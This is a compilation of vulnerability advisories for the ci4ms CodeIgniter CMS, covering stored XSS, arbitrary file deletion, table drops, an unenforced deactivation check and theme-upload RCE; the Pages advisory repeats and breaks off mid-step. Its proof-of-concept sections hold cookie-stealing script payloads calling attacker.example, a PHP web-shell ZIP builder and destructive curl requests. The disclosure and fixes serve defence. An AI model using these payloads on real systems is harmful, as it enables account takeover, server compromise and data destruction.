The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index() → app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.

Details

This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:

public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    ...
    $clean = self::sanitizeHtml($str);
    $str = $clean;
    self::$cleanCache[md5((string)$str)] = $clean;
    return true;
}

CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation — but no controller in the codebase does so.

Pages controller — modules/Pages/Controllers/Pages.php:

• Pages::create() registers the rule at line 82:

  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
  

  Then at lines 102–113 it reads the raw POST and inserts it untouched:

  $langsData = $this->request->getPost('lang') ?? [];
  ...
  $this->commonModel->create('pages_langs', [
      ...
      'content' => $lData['content'],   // line 111 — RAW
      ...
  ]);
  

• Pages::update() mirrors the same pattern at lines 130 and 157:

  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],   // line 130
  ...
  'content' => $lData['content'],   // line 157 — RAW
  

The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:

<div id="ci4ms-content">
    <?php echo $pageInfo->content ?>     // no esc(), raw HTML output
</div>

CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.

This is distinct from the Blog finding:

• Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog)
• Different table (pages_langs.content vs blog_langs.content)
• Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php)
• Different route (/<seflink> matched by Home::index vs /blog/<seflink>)
• Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.

Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).

PoC

Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.

Step 1 — log in to backend, capture cookies:

curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \
  -d 'email=author@example.com' -d 'password=AuthorPass1!'

Step 2 — create a page with a malicious content payload:

curl -k -b cookies.txt -X POST https://target/backend/pages/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-page-xss' \
  -d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \
  -d 'isActive=1'

Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal <script>...</script> payload.

Step 3 — trigger the XSS by visiting the public URL:

https://target/poc-page-xss

Home::index() selects the row, pages.php:32 emits the raw <script> tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example, enabling full account takeover.

Step 4 — broaden blast radius (optional, requires pages.update):

curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \
  -H 'X-Requested-With: XMLHttpRequest'

After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.

Impact

• Stored XSS in public-facing site: any visitor to a malicious page slug — or to / if the page is set as home — executes the attacker's JavaScript.
• Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire /backend/* surface (full CMS administration, user management, file editor, backups, theme upload).
• Privilege escalation: the attacker only needs pages.create (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector.
• Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.

Recommended Fix

Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:

use Modules\Backend\Validation\CustomRules;

// Pages::create() — replace line 111
$this->commonModel->create('pages_langs', [
    'pages_id' => $insertID,
    'lang'     => $langCode,
    'title'    => strip_tags(trim($lData['title'])),
    'seflink'  => strip_tags(trim($lData['seflink'])),
    'content'  => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'      => $seoData
]);

// Pages::update() — replace line 157
$langUpdate = [
    'title'   => strip_tags(trim($lData['title'])),
    'seflink' => strip_tags(trim($lData['seflink'])),
    'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'     => $seoData
];

Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.

Summary

The Fileeditor module enforces an extension allowlist (['css','js','html','txt','json','sql','md']) on content-write operations (saveFile, createFile), but two destructive endpoints — deleteFileOrFolder and renameFile — never validate the extension of the source path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small $hiddenItems blocklist. Critical framework files such as app/Config/Routes.php, app/Config/App.php, app/Config/Database.php, app/Config/Filters.php, public/index.php, and public/.htaccess all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover.

Details

Root cause: inconsistent application of the extension allowlist across Fileeditor operations in modules/Fileeditor/Controllers/Fileeditor.php.

The class declares an allowlist used by content-write operations:

// modules/Fileeditor/Controllers/Fileeditor.php:9
protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];

// line 239
private function allowedFileTypes(string $file): bool
{
    $extension = pathinfo($file, PATHINFO_EXTENSION);
    if (!in_array(strtolower($extension), $this->allowedExtensions)) {
        return false;
    }
    return true;
}

saveFile (line 110) and createFile (line 167) correctly call allowedFileTypes() against the target path before writing. The two destructive endpoints do not:

// deleteFileOrFolder — modules/Fileeditor/Controllers/Fileeditor.php:210-237
public function deleteFileOrFolder()
{
    $valData = ([
        'path' => ['label' => '', 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9_ \-\.\/]+$/]'],
    ]);
    if ($this->validate($valData) == false) return $this->fail($this->validator->getErrors());
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $fullPath = realpath(ROOTPATH . $path);

    if (!$fullPath || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => lang('Fileeditor.invalidFileOrFolder')])->setStatusCode(400);
    }

    if (is_dir($fullPath)) {
        $result = rmdir($fullPath);
    } else {
        $result = unlink($fullPath);   // executes on ANY extension
    }
    ...
}

// renameFile — modules/Fileeditor/Controllers/Fileeditor.php:123-151
public function renameFile()
{
    ...
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $newName = $this->request->getVar('newName');
    $fullPath = realpath(ROOTPATH . $path);
    $newPath = dirname($fullPath) . DIRECTORY_SEPARATOR . $newName;

    if (!$this->allowedFileTypes($newName))   // <— only the destination is checked
        return $this->failForbidden();
    ...
    if (rename($fullPath, $newPath)) { ... }   // source extension never validated
}

The validation gauntlet a path traverses before reaching unlink()/rename():

1. Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — admits any path made of alphanumerics, dots, dashes, underscores, slashes (matches app/Config/Routes.php trivially).
2. isHiddenPath() — only blocks paths whose individual segments equal an entry in $hiddenItems:

// modules/Fileeditor/Controllers/Fileeditor.php:10-26
protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode', 'node_modules', 'vendor',
    'writable', '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];

Critical CodeIgniter 4 framework files (app, Config, Routes.php, App.php, Database.php, Filters.php, public, index.php, .htaccess) are not members of this list, so they pass.

3. realpath + strpos containment — confirms the resolved path is inside ROOTPATH. Routes.php, etc., are inside ROOTPATH and pass.

4. Sink — unlink() or rename() runs unconditionally; no extension allowlist applied.

The recent security patch in commit 379ebb6 ("Security: patch critical vulnerabilities and bump to v0.31.4.0") added isHiddenPath() invocations to every endpoint, addressing the previous .env reachability. It did not address the missing extension allowlist on delete and rename source paths. The inconsistency therefore survives in HEAD (v0.31.8.0).

Authorization is provided by the backendGuard filter (modules/Fileeditor/Config/FileeditorConfig.php:12-17) routing through Modules\Auth\Filters\Ci4MsAuthFilter, which requires the role permission fileeditor.delete for deleteFileOrFolder and fileeditor.update for renameFile. Superadmins always pass; role-assigned users with only the Fileeditor permission can also reach the sink, exceeding the editor's apparent design intent (the allowlist on save/create signals that the editor is meant to handle only safe content-type files).

PoC

Prerequisites: an authenticated session with fileeditor.delete (or superadmin) for step 1, and fileeditor.update for step 2. The application is mounted under backend/, not admin/.

# 1) Arbitrary file deletion (no extension check at all)
curl -X POST 'https://target/backend/fileeditor/deleteFileOrFolder' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php'
# -> {"success": true}
# Routes.php is unlinked. The next request fails because no routes load. Persistent DoS.

# Equivalently catastrophic targets (none of these segments are in $hiddenItems):
#   path=public/index.php           (front controller — entire app dead)
#   path=app/Config/App.php         (core app config)
#   path=app/Config/Database.php    (DB config)
#   path=app/Config/Filters.php     (auth/CSRF filters)
#   path=public/.htaccess           (rewrite + security rules)

# 2) Rename .php to neutralize the file without checking the source extension
curl -X POST 'https://target/backend/fileeditor/renameFile' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php' \
  --data-urlencode 'newName=Routes.txt'
# -> {"success": true}
# Routes.php disappears, becomes Routes.txt. Routing dies on next request.

Trace verifying the validation logic for path=app/Config/Routes.php:

• Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — matches.
• isHiddenPath('app/Config/Routes.php') — segments ['app','Config','Routes.php'], none in $hiddenItems → returns false.
• realpath(ROOTPATH . 'app/Config/Routes.php') — resolves inside ROOTPATH, containment check passes.
• unlink($fullPath) (deleteFileOrFolder, line 229) or rename($fullPath, $newPath) (renameFile, line 146) executes — no extension allowlist applied.

Impact

A backend user holding the Fileeditor delete or update permission can:

• Delete or neutralize the front controller (public/index.php), routing config (app/Config/Routes.php), database config (app/Config/Database.php), filter pipeline (app/Config/Filters.php), web-server rules (public/.htaccess), or any other framework file inside the project root.
• Cause persistent denial of service: the application becomes unreachable on the next request and there is no in-app "restore" — recovery requires filesystem access (redeploy, git checkout, or backup restore).
• Destroy data files inside the project tree (e.g. SQLite databases, cached config) outside the small $hiddenItems blocklist.

The destructive surface exceeds Fileeditor's intended capability: the saveFile/createFile allowlist signals an explicit design intent to restrict modifications to safe content extensions, yet delete/rename can target arbitrary file types. Even where the actor is already a superadmin, the bug widens the destructive blast radius beyond what the editor UI exposes and beyond what fileeditor.delete plausibly authorizes for non-superadmin role holders.

The path is gated by an admin-tier permission, so PR:H is honest; impact is limited to integrity/availability of files reachable by the web server user.

Recommended Fix

Apply the same allowedFileTypes() allowlist (or a stricter directory allowlist for editor-managed assets) to the source path in both destructive endpoints. After the existing realpath containment check:

// In deleteFileOrFolder, after line 224:
if (!is_dir($fullPath) && !$this->allowedFileTypes($fullPath)) {
    return $this->failForbidden();
}

// In renameFile, alongside the existing $newName check at line 139:
if (!$this->allowedFileTypes($fullPath) || !$this->allowedFileTypes($newName)) {
    return $this->failForbidden();
}

Stronger hardening — and aligned with the editor's apparent intent — is to confine all Fileeditor operations to a directory allowlist (e.g. public/templates/, public/uploads/) rather than the entire ROOTPATH, and to extend $hiddenItems (or replace it with a denylist of full path prefixes) so that app/Config, public/index.php, public/.htaccess, and similar framework artefacts cannot be reached even by symlink or alternate casing.

Summary

The custom html_purify validation rule used to sanitize blog post bodies relies on by-reference mutation (?string &$str), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes $lanData['content'] directly into blog_langs.content, and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts.

Details

Root cause: by-reference mutation never propagates

Modules\Backend\Validation\CustomRules::html_purify declares its first argument by reference:

// modules/Backend/Validation/CustomRules.php:54-73
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    if (empty(trim((string)$str))) return true;
    if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
    $clean = self::sanitizeHtml($str);
    $str   = $clean;                                  // <-- mutates only the local $value in CI4's validator
    self::$cleanCache[md5((string)$str)] = $clean;    // <-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL)
    return true;
}

CI4's validator invokes the rule via a local variable $value it created from a copy of $this->data:

// vendor/codeigniter4/framework/system/Validation/Validation.php:204-211
foreach ($values as $dotField => $value) {                       // local $value
    $this->processRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field);
}

// Validation.php:343-345
$passed = ($param === null)
    ? $set->{$rule}($value, $error)                              // <-- $value is the local var
    : $set->{$rule}($value, $param, $data, $error, $field);

The reference mutation modifies that local $value only; $this->data, $_POST, and getValidated() keep the raw payload. The optional getClean($original) cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on md5(clean) rather than md5(original).

Sink: raw POST is persisted and rendered unescaped

The Blog controller takes $_POST['lang'] verbatim, runs it through validation (which always returns true for html_purify), and writes it to the database with no further filtering:

// modules/Blog/Controllers/Blog.php:94-125  (Blog::new)
$langsPost = $this->request->getPost('lang');                            // raw, unsanitized
...
if ($this->validate($valData) == false) return redirect()->...;           // html_purify returns true
...
foreach ($langsPost as $lanCode => $lanData) {
    $this->commonModel->create('blog_langs', [
        'blog_id' => $insertID,
        'lang'    => $lanCode,
        'title'   => trim(strip_tags($lanData['title'])),
        'seflink' => trim(strip_tags($lanData['seflink'])),
        'content' => $lanData['content'],                                  // <-- raw HTML stored
        ...
    ]);
}

The same pattern is used in Blog::edit at modules/Blog/Controllers/Blog.php:178 and :201.

The public blog post template echoes the field with no escaping:

// app/Views/templates/default/blog/post.php:51
<section class="mb-5" id="ci4ms-content">
    <?php echo $infos->content ?>
</section>

The view is reached through App\Controllers\Home::post* (Home.php:238), which is an unauthenticated public route.

Trust boundary

Backend routes (modules/Blog/Config/Routes.php) are protected by backendGuard + Shield role checks, requiring blogs.create / blogs.update. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend /blog/<slug> is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript.

Same defect in the Pages module

A previous Stored XSS in the Pages module was "fixed" by introducing the very html_purify rule that this advisory shows is non-functional. Pages controllers (Pages::create, Pages::update) follow the same pattern and remain exploitable.

PoC

Prerequisite: any account holding the backend blogs.create role (or blogs.update for the edit variant). Cookies obtained via the standard backend login flow.

1. Submit a blog post with an XSS payload as the content body:

curl -k -b cookies.txt -X POST https://target/backend/blogs/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-xss' \
  -d "lang[en][content]=<script>fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))</script>" \
  -d 'isActive=1' \
  -d 'categories[]=1' \
  -d 'author=1' \
  -d 'created_at=01.01.2026 10:00:00' \
  -d 'csrf_token_name=<token>'

2. The validator returns success (html_purify reports true), and the row is written to blog_langs with content = <script>...</script> verbatim.

3. Visit the public post URL https://target/blog/poc-xss. The injected <script> runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session.

Independent root-cause verification (run against the local app):

$ php /tmp/test_blog_flow.php
Validation passed: true
Stored content for en: <script>alert("STORED-XSS-PROOF-"+document.domain)</script>

That is, when the same payload is fed to the real CI4 validator with the project's rule set, getValidated()['lang']['en']['content'] returns the unmodified <script>...</script>, confirming the by-reference sanitization is dropped.

Impact

• Stored XSS reachable by any account with blogs.create or blogs.update (delegated content-editor permission), executed in the browser of:
  • every anonymous public visitor that loads the affected blog post,
  • the superadmin and other backend reviewers when they open or preview the post.
• Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors.
• Because the same broken html_purify rule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable through Pages::create / Pages::update via the same primitive — i.e., this is a project-wide regression of an already-published advisory.
• The getClean() cache fallback intended as a backstop is also non-functional (key mismatch between md5(clean) writer and md5(original) reader).

Recommended Fix

1. Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize at the sink in every controller that accepts WYSIWYG HTML, or (b) sanitize after validate() and before persisting.

   Minimal, immediate fix in the Blog controller — apply to both new and edit:

   // modules/Blog/Controllers/Blog.php  (Blog::new, ~line 123 and Blog::edit, ~line 201)
   use Modules\Backend\Validation\CustomRules;
   ...
   $this->commonModel->create('blog_langs', [
       'blog_id' => $insertID,
       'lang'    => $lanCode,
       'title'   => trim(strip_tags($lanData['title'])),
       'seflink' => trim(strip_tags($lanData['seflink'])),
       'content' => CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')),
       'seo'     => !empty($seoData) ? $seoData : '',
   ]);
   

   Apply the identical change to modules/Pages/Controllers/Pages.php (the previous Pages Stored XSS fix relied on html_purify and is therefore still vulnerable).

2. Fix the cache key bug so getClean() actually works as a defense-in-depth backstop:

   // modules/Backend/Validation/CustomRules.php
   public function html_purify(?string &$str = null, ?string &$error = null): bool
   {
       if (empty(trim((string)$str))) return true;
       if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
       $original = (string)$str;
       $clean    = self::sanitizeHtml($original);
       self::$cleanCache[md5($original)] = $clean;   // key on ORIGINAL, before reassignment
       $str = $clean;                                // best-effort; CI4 will drop this
       return true;
   }
   

3. Document explicitly in CustomRules that html_purify is not a sanitizer — it returns true unconditionally on any HTMLPurifier-installed environment — and that callers MUST use CustomRules::sanitizeHtml(...) (or CustomRules::getClean($original) after the cache fix) on $_POST data before storage.

4. Defense in depth: escape $infos->content at output where feasible (e.g., app/Views/templates/default/blog/post.php:51), or pipe the stored value through CustomRules::sanitizeHtml() on read for templates that are expected to render rich HTML — guaranteeing safety even if a future caller forgets the sanitizer.

Summary

The auth filter has the deactivated/banned user check commented out.

Details

CodeIgniter Shield's loggedIn() re-checks the status field (catching status='banned'), but does not re-check the active field for existing sessions. When an admin deactivates a user (active=0) after they have already logged in:

• Their session cookie remains valid
• auth()->loggedIn() still returns true
• The commented-out code is the only mechanism that would have checked !$user->active

Evidence

Impact

• User deactivation does NOT immediately revoke backend access
• Deactivated user retains full access until session expires (default: 7200s)

Additional note

The commented-out block appears to be a deferred placeholder — it was written but disabled from the very first commit that introduced the filter, and has never been active. The later addition of SessionTracker (v0.31.4.0) suggests the dev was aware of the session revocation gap, but account-level deactivation (users.active = 0) remains unenforced. Could you verify if this is intentionally pending or simply forgotten and not documented?.

Summary

The deleteProcess() action accepts a POST parameter tables[] containing arbitrary table names. These are passed directly to $forge->dropTable() without validating that the tables belong to the theme being deleted.

The deleteConfirm view correctly populates tables[] from the theme's own migration files, but the server-side deleteProcess does not verify the received values against those files. An authenticated admin can craft a POST request with arbitrary table names and drop any table in the database.

This is a real bug even within the admin trust model: the action should be scoped to the theme's own tables. The permission grants delete this theme's data", not "drop any table".

Details

Location

modules/Theme/Controllers/Theme.php :: deleteProcess() ~line 147

Vulnerable Code

public function deleteProcess(string $slug)
{
    $themeName = $slug;
    $activeTheme = setting('App.siteTheme');
    if ($activeTheme === $themeName) {
        return redirect()->route('templateSettings')...;
    }

    $tablesToDrop = $this->request->getPost('tables');  // ← user-supplied, unvalidated
    if (!empty($tablesToDrop) && is_array($tablesToDrop)) {
        $forge = \Config\Database::forge();
        $db    = \Config\Database::connect();
        foreach ($tablesToDrop as $table) {
            if ($db->tableExists($table)) {
                $forge->dropTable($table, true);  // ← no whitelist check
            }
        }
    }

PoC

1. Authenticate to the backend (any user with theme.delete permission)
2. POST to /backend/themes/delete-process/<any_non_active_theme_slug>
3. Include tables[]=<any_table> in POST body
4. The named tables are dropped without validation

Impact

• Dropped ci4ms_blog (confirmed in test)
• Dropped ci4ms_users + ci4ms_auth_identities simultaneously — disables all authentication (confirmed)
• Any table in the database can be targeted

Additional note

Quick note on the design intent for deleteProcess — I noticed delete_confirm.php scopes the checkboxes to the theme's own migration files, and the CHANGELOG confirms the selective deletion was intentional (admins can choose which tables to keep). The server-side deleteProcess already has all the information it needs to validate the input — deleteConfirm derives the valid table set from the migration files, deleteProcess just needs to do the same before acting on the POST. Happy to clarify if useful.

Summary

A theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP.

Details

File: modules/Theme/Controllers/Theme.php

After a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52

File: modules/Theme/Helpers/themes_helper.php

The helper copies every file matching . from public/templates/<name>/ inside the ZIP directly into public/templates/<name>/ on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: themes_helper.php:60-68

Because the web root is public/, any .php file placed there is directly reachable over HTTP.

PHP files are also installed — without filtering — into app/Controllers/templates//, app/Libraries/templates//, and other app/ subdirectories: themes_helper.php:31-42

The theme name is derived from the uploaded filename via str_replace('_theme.zip', '', $file->getName()), so uploading evil_theme.zip sets the theme name to evil and the install target to public/templates/evil/: Theme.php:20

PoC

Prerequisites: A backend account with theme upload permission (e.g., backend/themes/upload).

Step 1 — Build the malicious ZIP:

import zipfile, io  
  
buf = io.BytesIO()  
with zipfile.ZipFile(buf, 'w') as z:  
    z.writestr('public/templates/evil/shell.php', '<?php system($_GET["c"]); ?>')  
buf.seek(0)  
with open('evil_theme.zip', 'wb') as f:  
    f.write(buf.read())

Step 2 — Upload:

POST /backend/themes/upload  
Content-Type: multipart/form-data  
  
field name: theme  
file:       evil_theme.zip  

Step 3 — Execute:

GET https://target.com/templates/evil/shell.php?c=id  

Expected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).

Impact

Type: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root.

Who is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.

Summary

Vulnerability 1: Stored DOM XSS via Profile Name Update (Persistent Payload Injection)

• Stored Cross-Site Scripting via Unsanitized User Name in Profile Management

Description

The application fails to properly sanitize user-controlled input when users update their profile name (e.g., full name / username). An attacker can inject a malicious JavaScript payload into their profile name, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

Affected Functionality

• Profile name / full name update functionality (both the 2 user inputs)
• User profile storage and retrieval logic

Attack Scenario

• An attacker updates their profile name to include a malicious XSS payload.
• The application stores this value without sanitization or encoding.
• The payload persists and executes whenever the name is rendered in affected views.

Impact

• Persistent Stored XSS
• Execution of arbitrary JavaScript in victims’ browsers
• Foundation for privilege escalation and account takeover when viewed by privileged users & normal ones across blogs and public facing pages that show user profiles full names

Endpoint: /backend/users/profile/

Vulnerability 2: Stored XSS via User Name Rendering Across Multiple Endpoints (Privilege Escalation)

(Required for the chain)

• Stored XSS via Unsafe Rendering of User Names Across Administrative and Public Interfaces

Description

User-controlled profile fields (specifically the username / full name) are rendered unsafely across multiple application endpoints, including administrative and content-related interfaces. The application fails to apply proper output encoding when displaying these values.

When an administrator accesses affected pages, the stored XSS payload executes in the administrator’s browser context, resulting in administrative privilege escalation and potential full admin account takeover.

This issue is not limited to a single endpoint and affects all areas where the username is rendered, including but not limited to:

• User management interfaces
• Blog pages
• Other content or UI components displaying usernames

Attack Scenario

• Attacker injects a malicious payload via the profile name update functionality.
• The payload is stored persistently.
• An administrator views the user management page or any affected interface.
• The payload executes automatically in the admin’s browser.
• Attacker hijacks the admin session, performs privileged actions, or fully compromises the admin account.

Impact

• Stored XSS
• Administrative privilege escalation
• Full admin account takeover (including other roles)
• Full compromise of the entire application

Endpoint Example: /backend/users/ of User Management Page

Steps To Reproduce (POC)

1. Go to Profile Management page of the User
2. In the 2 user inputs of the Full Name, put in any field of them a XSS Payload such as: <img src=x onerror=alert(document.domain)>
3. Save the edit
4. Go to User Management page as an Admin or any other role
5. Notice the XSS alert popping up that confirms it
6. Other endpoints aswell can execute such as blogs in the public facing one

Recommended Remediation

1. Eliminate Unsafe DOM Sinks: Remove all usage of .html(), innerHTML, and similar unsafe DOM manipulation methods throughout the application. These sinks should be replaced with safe alternatives such as .text() or textContent, which do not interpret HTML markup.

2. Implement Output Encoding: Apply context-appropriate HTML entity encoding to all user-controlled data before rendering it in the DOM. This ensures that any special characters (e.g., <, >, ", ') are rendered as literal text rather than interpreted as executable markup.

3. Implement Server-Side Input Sanitization: Enforce strict input validation and sanitization on all user-controlled fields — particularly the profile name fields — at the server level before storing values in the database. Currently, no sanitization is applied to these inputs.

4. Apply Defense in Depth: Even in cases where user input does not appear to flow directly into a dangerous sink, it should still be treated as untrusted. Attackers can and will leverage indirect data flows to exploit the application. A layered approach combining input validation, output encoding, and Content Security Policy (CSP) headers is strongly recommended.

Ready Video POC:

https://mega.nz/file/iEVEyT4Y#f046o6ZwYBfS1kK0HNKOCFm6tL_8_SbLtWWKC1hYC4M

Summary

The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index() → app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.

Details

This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:

public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    ...
    $clean = self::sanitizeHtml($str);
    $str = $clean;
    self::$cleanCache[md5((string)$str)] = $clean;
    return true;
}

CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation — but no controller in the codebase does so.

Pages controller — modules/Pages/Controllers/Pages.php:

• Pages::create() registers the rule at line 82:

  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
  

  Then at lines 102–113 it reads the raw POST and inserts it untouched:

  $langsData = $this->request->getPost('lang') ?? [];
  ...
  $this->commonModel->create('pages_langs', [
      ...
      'content' => $lData['content'],   // line 111 — RAW
      ...
  ]);
  

• Pages::update() mirrors the same pattern at lines 130 and 157:

  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],   // line 130
  ...
  'content' => $lData['content'],   // line 157 — RAW
  

The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:

<div id="ci4ms-content">
    <?php echo $pageInfo->content ?>     // no esc(), raw HTML output
</div>

CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.

This is distinct from the Blog finding:

• Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog)
• Different table (pages_langs.content vs blog_langs.content)
• Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php)
• Different route (/<seflink> matched by Home::index vs /blog/<seflink>)
• Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.

Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).

PoC

Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.

Step 1 — log in to backend, capture cookies:

curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \
  -d 'email=author@example.com' -d 'password=AuthorPass1!'

Step 2 — create a page with a malicious content payload:

curl -k -b cookies.txt -X POST https://target/backend/pages/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-page-xss' \
  -d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \
  -d 'isActive=1'

Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal <script>...</script> payload.

Step 3 — trigger the XSS by visiting the public URL:

https://target/poc-page-xss

Home::index() selects the row, pages.php:32 emits the raw <script> tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example, enabling full account takeover.

Step 4 — broaden blast radius (optional, requires pages.update):

